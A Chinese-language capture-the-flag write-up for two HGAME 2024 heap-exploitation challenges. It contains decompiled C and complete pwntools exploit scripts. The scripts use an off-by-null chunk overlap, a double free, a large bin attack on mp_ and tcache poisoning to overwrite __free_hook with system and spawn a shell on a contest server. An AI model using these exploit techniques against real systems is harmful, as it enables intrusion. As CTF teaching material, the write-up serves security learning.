nyyyddddn

hgame2024week3_wp

2024/02/27

pwn

你满了,那我就漫出来了![补]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%u", &v3);
if ( v3 != 2 )
break;
show();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
delete();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 > 0xF )
{
puts("There are only 16 pages.");
}
else if ( *((_QWORD *)&notes + v1) )
{
free(*((void **)&notes + v1));
*((_QWORD *)&notes + v1) = 0LL;
}
else
{
puts("No such note.");
}
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 add()
{
unsigned int v0; // ebx
unsigned int v2; // [rsp+Ch] [rbp-24h] BYREF
unsigned int size; // [rsp+10h] [rbp-20h] BYREF
unsigned int size_4; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 > 0xF )
{
puts("There are only 16 pages.");
}
else if ( *((_QWORD *)&notes + v2) )
{
puts("The note already exists.");
}
else
{
while ( 1 )
{
printf("Size: ");
__isoc99_scanf("%u", &size);
if ( size <= 0xFF )
break;
puts("Too big!");
}
v0 = v2;
*((_QWORD *)&notes + v0) = malloc(size);
printf("Content: ");
size_4 = read(0, *((void **)&notes + v2), size);
*(_BYTE *)(*((_QWORD *)&notes + v2) + size_4) = 0;
}
return __readfsqword(0x28u) ^ v5;
}

题目没有uaf,但是在add的时候有一个off by null,可以通过off by null 触发一次堆合并 构造 一个heap overlap的现象,产生uaf

构造一个这样的情况,在add heap3的时候,heap4的低位一个字节就会被覆盖成 0x00,如果在创建 heap4的时候size 大于等于 0xf8,这时候chunk的大小为 0xf0 + 0x10(size + 8) + 1(prev_inuse),在add heap3的时候 prev_inuse就会被覆盖,再free掉 heap4的时候就会触发 前向合并,将 heap 1 2 3 4合并在一起

1
2
3
4
5
heap 1(free) (content "AAAA") 
heap 2(In use) (content "AAAA")
heap 3(In use) (content "A" * (data - 8) + p64(heap 1 size+ heap2 size+ heap3 size))
heap 4(In use) (content "AAAA")
High Address

这时候再malloc 5 6 7 8 那就会产生一个堆重叠现象

1
2
3
4
1 - 5
2 - 6
3 - 7
4 - 8

这时候2 - 6 3 - 7 就会产生uaf,可以进行double free

所以利用思路是,先通过off by null构造一个heap overlap,产生uaf 泄露libc的地址,再通过uaf 来double free,把free_hook的地址写成system,去free掉一个内容为binsh的堆,触发system(binsh)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def show(idx):
sla("Your choice:","2")
sla("Index: ",str(idx))

def delete(idx):
sla("Your choice:","3")
sla("Index: ",str(idx))


def add(idx,size,content):
sla("Your choice:","1")
sla("Index: ",str(idx))
sla("Size: ",str(size))
sa("Content: ",content)

def add_tcache():
for i in range(7):
add(i,0xf8,"AAAA")

def free_tcache():
for i in range(7):
delete(i)

p = connect()


add(0,0xf8,"AAAA")
add(1,0x68,"AAAA")

for i in range(2,10):
add(i,0xf8,"AAAA")

add(12,0xf8,"AAAA")

for i in range(3,10):
delete(i)

delete(0)
delete(1)

# 0x100 + 0x70
# 0x100 + 0x70 + 0x100
add(1,0x68,b"B" * 0x60 + p64(0x170))
delete(2)
add(0,0x78,b'a')
add(2,0x78,b'a')

show(1)

libc_base = r_leak_libc_64() - (0x7fe6d3febca0 - 0x7fe6d3c00000)
success(f"libc_base ->{hex(libc_base)}")
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"free_hook ->{hex(free_hook)}")

# 1 == 10 11
add(10,0x68,b"C")
add(11,0x68,b"C")


for i in range(3,10):
add(i,0x68,b"a")

for i in range(3,10):
delete(i)


delete(10)
delete(11)
delete(1)

for i in range(3,10):
add(i,0x68,b"a")

add(10,0x68,p64(free_hook))
add(11,0x68,b'/bin/sh')
add(13,0x68,p64(free_hook))
add(1,0x68,p64(system))

delete(11)

# g(p)
p.interactive()

Elden Ring Ⅲ[补]

https://www.freebuf.com/articles/system/232676.html

利用large bin attack往mp_结构体中 存储 tcache大小的位置写一个堆地址,这样题目给的size范围 free掉后能进到tcache bin里面,然后就变成 tcache poison了,2.32 malloc_hook free hook还没有移除,用tcache poison写free hook为system的地址,然后free掉 /bin/sh的堆,触发 system(binsh) getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def add(idx,size):
sla(">","1")
sla("Index: ",str(idx))
sla("Size: ",str(size))

def delete(idx):
sla(">","2")
sla("Index: ",str(idx))

def edit(idx,context):
sla(">","3")
sla("Index: ",str(idx))
sa("Content: ",context)

def show(idx):
sla(">","4")
sla("Index: ",str(idx))


p = connect()

add(1,0x500)
add(2,0x600)
add(3,0x700)

delete(1)
delete(3)
add(4,0x700)

show(1) # 1 in large bin
out=u64(p.recv(6).ljust(8,b"\x00"))
base=out-libc.sym['__malloc_hook']-1168-0x10
print("libc_base=",hex(base))
free_hook= base +libc.sym['__free_hook']
system=base+libc.sym['system']

mp_offset=0x7fb195cdc280-0x7fb195af9000
mp_=base+mp_offset
print("mp_=",hex(mp_))
target=mp_+0x50


add(10,0x500) #take out 1

add(5,0x600) #chunk1
add(6,0x500)
add(7,0x5f0) #chunk2
add(8,0x500)

delete(5)
add(9,0x900) # 5 in large bin

delete(7)

fd=u64(p.recv(6).ljust(8,b"\x00"))
edit(5,p64(fd)*2+p64(target-0x20)*2)

add(11,0x900)
# mp_ -> tcache_size = 7 addr

edit(1,b'a'*0x10)
show(1)
p.recvuntil(b'a'*0x10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290
edit(1,p64(out)*2)
success(f"heap_base ->{hex(heap_base)}")

# g(p)
add(2,0x500)
delete(2)
# tcache poison
edit(1,p64(base)*2+p64(heap_base)*2+p64(0)*9+p64(free_hook))

add(3,0x500)
edit(3,p64(system))
edit(6,b'/bin/sh\x00')
delete(6)


p.interactive()
CATALOG
  1. 1. pwn
    1. 1.1. 你满了,那我就漫出来了![补]
    2. 1.2. Elden Ring Ⅲ[补]